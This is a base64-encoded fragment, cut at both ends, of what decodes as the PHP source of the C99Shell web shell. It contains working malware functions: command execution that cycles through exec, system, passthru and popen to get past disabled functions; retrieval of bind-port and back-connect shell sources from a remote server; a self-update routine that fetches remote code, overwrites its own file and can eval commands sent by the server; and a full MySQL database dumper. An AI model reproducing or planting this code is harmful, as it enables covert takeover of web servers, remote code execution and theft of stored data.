Gl6ZSgkZGF0YSk7CiBzZXRjb29raWUoJHNlc3NfY29va2llLCRkYXRhKTsKfQp9CmZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikKewogaWYgKCFlbXB0eSgkX0dFVFskdl0pKSB7JCR2ID0gJF9HRVRbJHZdO30KIGlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHskJHYgPSAkX1BPU1RbJHZdO30KfQppZiAoJHNvcnRfc2F2ZSkKewogaWYgKCFlbXB0eSgkc29ydCkpIHtzZXRjb29raWUoInNvcnQiLCRzb3J0KTt9CiBpZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyMm1pbmkiKSkKewpmdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKQp7CiBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pCiB7CiAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7CiAgcmV0dXJuIHN1YnN0cigkY29udGVudCwgMCwkbGVuKS4iLi4uIi5zdWJzdHIoJGNvbnRlbnQsLSRsZW4pOwogfQogZWxzZSB7cmV0dXJuICRjb250ZW50O30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkKewpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpCnsKIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHtyZXR1cm4gRkFMU0U7fQogZWxzZQogewogIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9CiAgZWxzZWlmICgkc2l6ZSA+PSAxMDQ4NTc2KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDQ4NTc2KjEwMCkvMTAwIC4iIE1CIjt9CiAgZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4iIEtCIjt9CiAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQogIHJldHVybiAkc2l6ZTsKIH0KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X2RpciIpKQp7CmZ1bmN0aW9uIGZzX2NvcHlfZGlyKCRkLCR0KQp7CiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CiBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAkaCA9IG9wZW5kaXIoJGQpOwogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiB7CiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpCiAgewogICBpZiAoIWlzX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQogICBlbHNlIHskcmV0ID0gbWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7IGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9CiAgfQogfQogY2xvc2VkaXIoJGgpOwogcmV0dXJuIFRSVUU7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkKewpmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkKewogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwogaWYgKCFpc19kaXIoZGlybmFtZSgkdCkpKSB7bWtkaXIoZGlybmFtZSgkdCkpO30KIGlmIChpc19kaXIoJGQpKQogewogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsKIH0KIGVsc2VpZiAoaXNfZmlsZSgkZCkpIHtyZXR1cm4gY29weSgkZCwkdCk7fQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQp7CmZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KQp7CiAkaCA9IG9wZW5kaXIoJGQpOwogaWYgKCFpc19kaXIoJHQpKSB7bWtkaXIoJHQpO30KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQogewogIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKQogIHsKICAgJHJldCA9IFRSVUU7CiAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9CiAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBGQUxTRTt9fQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9CiAgfQogfQogY2xvc2VkaXIoJGgpOwogcmV0dXJuIFRSVUU7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9vYmoiKSkKewpmdW5jdGlvbiBmc19tb3ZlX29iaigkZCwkdCkKewogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwogaWYgKGlzX2RpcigkZCkpCiB7CiAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICByZXR1cm4gZnNfbW92ZV9kaXIoJGQsJHQpOwogfQogZWxzZWlmIChpc19maWxlKCRkKSkKIHsKICBpZihjb3B5KCRkLCR0KSkge3JldHVybiB1bmxpbmsoJGQpO30KICBlbHNlIHt1bmxpbmsoJHQpOyByZXR1cm4gRkFMU0U7fQogfQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19ybWRpciIpKQp7CmZ1bmN0aW9uIGZzX3JtZGlyKCRkKQp7CiAkaCA9IG9wZW5kaXIoJGQpOwogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiB7CiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpCiAgewogICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxpbmsoJGQuJG8pO30KICAgZWxzZSB7ZnNfcm1kaXIoJGQuJG8uRElSRUNUT1JZX1NFUEFSQVRPUik7IHJtZGlyKCRkLiRvKTt9CiAgfQogfQogY2xvc2VkaXIoJGgpOwogcm1kaXIoJGQpOwogcmV0dXJuICFpc19kaXIoJGQpOwp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3Jtb2JqIikpCnsKZnVuY3Rpb24gZnNfcm1vYmooJG8pCnsKICRvID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRvKTsKIGlmIChpc19kaXIoJG8pKQogewogIGlmIChzdWJzdHIoJG8sLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskbyAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICByZXR1cm4gZnNfcm1kaXIoJG8pOwogfQogZWxzZWlmIChpc19maWxlKCRvKSkge3JldHVybiB1bmxpbmsoJG8pO30KIGVsc2Uge3JldHVybiBGQUxTRTt9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkKewpmdW5jdGlvbiBteXNoZWxsZXhlYygkY21kKQp7CiBnbG9iYWwgJGRpc2FibGVmdW5jOwogJHJlc3VsdCA9ICIiOwogaWYgKCFlbXB0eSgkY21kKSkKIHsKICBpZiAoaXNfY2FsbGFibGUoImV4ZWMiKSBhbmQgIWluX2FycmF5KCJleGVjIiwkZGlzYWJsZWZ1bmMpKSB7ZXhlYygkY21kLCRyZXN1bHQpOyAkcmVzdWx0ID0gam9pbigiXG4iLCRyZXN1bHQpO30KICBlbHNlaWYgKCgkcmVzdWx0ID0gYCRjbWRgKSAhPT0gRkFMU0UpIHt9CiAgZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgic3lzdGVtIiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBzeXN0ZW0oJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2O30KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJwYXNzdGhydSIpIGFuZCAhaW5fYXJyYXkoInBhc3N0aHJ1IiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQogIGVsc2VpZiAoaXNfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwiciIpKSkKICB7CiAgICRyZXN1bHQgPSAiIjsKICAgd2hpbGUoIWZlb2YoJGZwKSkgeyRyZXN1bHQgLj0gZnJlYWQoJGZwLDEwMjQpO30KICAgcGNsb3NlKCRmcCk7CiAgfQogfQogcmV0dXJuICRyZXN1bHQ7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidGFic29ydCIpKSB7ZnVuY3Rpb24gdGFic29ydCgkYSwkYikge2dsb2JhbCAkdjsgcmV0dXJuIHN0cm5hdGNtcCgkYVskdl0sICRiWyR2XSk7fX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkKewpmdW5jdGlvbiB2aWV3X3Blcm1zKCRtb2RlKQp7CiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cGUgPSAicyI7fQogZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICJkIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gImwiO30KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSAiLSI7fQogZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICJiIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gImMiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAicCI7fQogZWxzZSB7JHR5cGUgPSAiPyI7fQoKICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7CiAkb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCk/InciOiItIjsKICRvd25lclsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4IjoiLSI7CiAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOwogJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7CiAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDEwKT8ieCI6Ii0iOwogJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsKICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8gInciOiItIjsKICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4IjoiLSI7CgogaWYgKCRtb2RlICYgMHg4MDApIHskb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQogaWYgKCRtb2RlICYgMHg0MDApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQogaWYgKCRtb2RlICYgMHgyMDApIHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpPyJ0IjoiVCI7fQoKIHJldHVybiAkdHlwZS5qb2luKCIiLCRvd25lcikuam9pbigiIiwkZ3JvdXApLmpvaW4oIiIsJHdvcmxkKTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkge3JldHVybiBGQUxTRTt9fQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9raWxsIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfa2lsbCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKQp7CmZ1bmN0aW9uIHBhcnNlX3Blcm1zKCRtb2RlKQp7CiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQogZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdCA9ICJkIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0ID0gImwiO30KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQogZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdCA9ICJiIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0ID0gImMiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQogZWxzZSB7JHQgPSAiPyI7fQogJG9bInIiXSA9ICgkbW9kZSAmIDAwNDAwKSA+IDA7ICRvWyJ3Il0gPSAoJG1vZGUgJiAwMDIwMCkgPiAwOyAkb1sieCJdID0gKCRtb2RlICYgMDAxMDApID4gMDsKICRnWyJyIl0gPSAoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7CiAkd1siciJdID0gKCRtb2RlICYgMDAwMDQpID4gMDsgJHdbInciXSA9ICgkbW9kZSAmIDAwMDAyKSA+IDA7ICR3WyJ4Il0gPSAoJG1vZGUgJiAwMDAwMSkgPiAwOwogcmV0dXJuIGFycmF5KCJ0Ij0+JHQsIm8iPT4kbywiZyI9PiRnLCJ3Ij0+JHcpOwp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlc29ydCIpKQp7CmZ1bmN0aW9uIHBhcnNlc29ydCgkc29ydCkKewogJG9uZSA9IGludHZhbCgkc29ydCk7CiAkc2Vjb25kID0gc3Vic3RyKCRzb3J0LC0xKTsKIGlmICgkc2Vjb25kICE9ICJkIikgeyRzZWNvbmQgPSAiYSI7fQogcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKQp7CmZ1bmN0aW9uIHZpZXdfcGVybXNfY29sb3IoJG8pCnsKIGlmICghaXNfcmVhZGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9CiBlbHNlaWYgKCFpc193cml0YWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXdoaXRlPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQogZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlnZXRzb3VyY2UiKSkKewpmdW5jdGlvbiBjOTlnZXRzb3VyY2UoJGZuKQp7CiBnbG9iYWwgJGM5OXNoX3NvdXJjZXN1cmw7CiAkYXJyYXkgPSBhcnJheSgKICAiYzk5c2hfYmluZHBvcnQucGwiID0+ICJjOTlzaF9iaW5kcG9ydF9wbC50eHQiLAogICJjOTlzaF9iaW5kcG9ydC5jIiA9PiAiYzk5c2hfYmluZHBvcnRfYy50eHQiLAogICJjOTlzaF9iYWNrY29ubi5wbCIgPT4gImM5OXNoX2JhY2tjb25uX3BsLnR4dCIsCiAgImM5OXNoX2JhY2tjb25uLmMiID0+ICJjOTlzaF9iYWNrY29ubl9jLnR4dCIsCiAgImM5OXNoX2RhdGFwaXBlLnBsIiA9PiAiYzk5c2hfZGF0YXBpcGVfcGwudHh0IiwKICAiYzk5c2hfZGF0YXBpcGUuYyIgPT4gImM5OXNoX2RhdGFwaXBlX2MudHh0IiwKICk7CiAkbmFtZSA9ICRhcnJheVskZm5dOwogaWYgKCRuYW1lKSB7cmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRjOTlzaF9zb3VyY2VzdXJsLiRuYW1lKTt9CiBlbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OXNoX2dldHVwZGF0ZSIpKQp7CmZ1bmN0aW9uIGM5OXNoX2dldHVwZGF0ZSgkdXBkYXRlID0gVFJVRSkKewogJHVybCA9ICRHTE9CQUxTWyJjOTlzaF91cGRhdGV1cmwiXS4iP3ZlcnNpb249Ii51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkR0xPQkFMU1sic2h2ZXIiXSkpLiImdXBkYXRlbm93PSIuKCR1cGRhdGVub3c/IjEiOiIwIikuIiYiOwogJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7CiBpZiAoISRkYXRhKSB7cmV0dXJuICJDYW4ndCBjb25uZWN0IHRvIHVwZGF0ZS1zZXJ2ZXIhIjt9CiBlbHNlCiB7CiAgJGRhdGEgPSBsdHJpbSgkZGF0YSk7CiAgJHN0cmluZyA9IHN1YnN0cigkZGF0YSwzLG9yZCgkZGF0YXsyfSkpOwogIGlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDAxIikge3JldHVybiAiRXJyb3I6ICIuJHN0cmluZzsgcmV0dXJuIEZBTFNFO30KICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwMiIpIHtyZXR1cm4gIllvdSBhcmUgdXNpbmcgbGF0ZXN0IHZlcnNpb24hIjt9CiAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDMiKQogIHsKICAgJHN0cmluZyA9IGV4cGxvZGUoIlx4MDEiLCRzdHJpbmcpOwogICBpZiAoJHVwZGF0ZSkKICAgewogICAgJGNvbmZ2YXJzID0gYXJyYXkoKTsKICAgICRzb3VyY2V1cmwgPSAkc3RyaW5nWzBdOwogICAgJHNvdXJjZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRzb3VyY2V1cmwpOwogICAgaWYgKCEkc291cmNlKSB7cmV0dXJuICJDYW4ndCBmZXRjaCB1cGRhdGUhIjt9CiAgICBlbHNlCiAgICB7CiAgICAgJGZwID0gZm9wZW4oX19GSUxFX18sInciKTsKICAgICBpZiAoISRmcCkge3JldHVybiAiTG9jYWwgZXJyb3I6IGNhbid0IHdyaXRlIHVwZGF0ZSB0byAiLl9fRklMRV9fLiIhIFlvdSBtYXkgZG93bmxvYWQgYzk5c2hlbGwucGhwIG1hbnVhbGx5IDxhIGhyZWY9XCIiLiRzb3VyY2V1cmwuIlwiPjx1PmhlcmU8L3U+PC9hPi4iO30KICAgICBlbHNlIHtmd3JpdGUoJGZwLCRzb3VyY2UpOyBmY2xvc2UoJGZwKTsgcmV0dXJuICJUaGFua3MhIFVwZGF0ZWQgd2l0aCBzdWNjZXNzLiI7fQogICAgfQogICB9CiAgIGVsc2Uge3JldHVybiAiTmV3IHZlcnNpb24gYXJlIGF2YWlsYWJsZTogIi4kc3RyaW5nWzFdO30KICB9CiAgZWxzZWlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDA0Iikge2V2YWwoJHN0cmluZyk7IHJldHVybiAxO30KICBlbHNlIHtyZXR1cm4gIkVycm9yIGluIHByb3RvY29sOiBzZWdtZW50YXRpb24gZmFpbGVkISAoIi4kZGF0YS4iKSAiO30KIH0KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpCnsKZnVuY3Rpb24gbXlzcWxfZHVtcCgkc2V0KQp7CiBnbG9iYWwgJHNodmVyOwogJHNvY2sgPSAkc2V0WyJzb2NrIl07CiAkZGIgPSAkc2V0WyJkYiJdOwogJHByaW50ID0gJHNldFsicHJpbnQiXTsKICRubDJiciA9ICRzZXRbIm5sMmJyIl07CiAkZmlsZSA9ICRzZXRbImZpbGUiXTsKICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07CiAkdGFicyA9ICRzZXRbInRhYnMiXTsKICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07CiAkcmV0ID0gYXJyYXkoKTsKICRyZXRbImVyciJdID0gYXJyYXkoKTsKIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQogaWYgKGVtcHR5KCRkYikpIHskZGIgPSAiZGIiO30KIGlmIChlbXB0eSgkcHJpbnQpKSB7JHByaW50ID0gMDt9CiBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30KIGlmIChlbXB0eSgkZmlsZSkpCiB7CiAgJGZpbGUgPSAkdG1wZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOwogfQogaWYgKCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30KIGlmIChzaXplb2YoJHRhYnMpID09IDApCiB7CiAgLy8gcmV0cml2ZSB0YWJsZXMtbGlzdAogICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYiwgJHNvY2spOwogIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHt3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKSkgeyR0YWJzW10gPSAkcm93WzBdO319CiB9CiAkb3V0ID0gIiMgRHVtcGVkIGJ5IEM5OVNoZWxsLlNRTCB2LiAiLiRzaHZlci4iCiMgSG9tZSBwYWdlOiBodHRwOi8vY2N0ZWFtLnJ1CiMKIyBIb3N0IHNldHRpbmdzOgojIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiIKIyBEYXRlOiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIgojIERCOiBcIiIuJGRiLiJcIgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiI7CiAkYyA9IGNvdW50KCRvbmx5dGFicyk7CiBmb3JlYWNoKCR0YWJzIGFzICR0YWIpCiB7CiAgaWYgKChpbl9hcnJheSgkdGFiLCRvbmx5dGFicykpIG9yICghJGMpKQogIHsKICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30KICAgLy8gcmVjaWV2ZSBxdWVyeSBmb3IgY3JlYXRlIHRhYmxlIHN0cnVjdHVyZQogICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFIGAiLiR0YWIuImAiLCAkc29jayk7CiAgIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7fQogICBlbHNlCiAgIHsKICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7CiAgICAkb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOwogICAgLy8gcmVjaWV2ZSB0YWJsZSB2YXJpYWJsZXMKICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7CiAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKQogICAgewogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpCiAgICAgewogICAgICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsKICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsKICAgICAgZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQogICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOwogICAgICAkc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7CiAgICAgICRvdXQgLj0gJHNxbDsKICAgICB9CiAgICB9CiAgIH0KICB9CiB9CiAkb3V0IC49ICIjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG5cbiI7CiBpZiAoJGZpbGUpCiB7CiAgJGZwID0gZm9wZW4oJGZpbGUsICJ3Iik7CiAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9CiAgZWxzZQogIHsKICAgZndyaXRlICgkZnAsICRvdXQpOwogICBmY2xvc2UgKCRmcCk7CiAgfQogfQogaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319CiByZXR1cm4gJG91dDsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpCnsKZnVuY3Rpb24gbXlzcWxfYnVpbGR3aGVyZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKQp7CiBpZiAoIWlzX2FycmF5KCRhcnJheSkpIHskYXJyYXkgPSBhcnJheSgpO30KICRy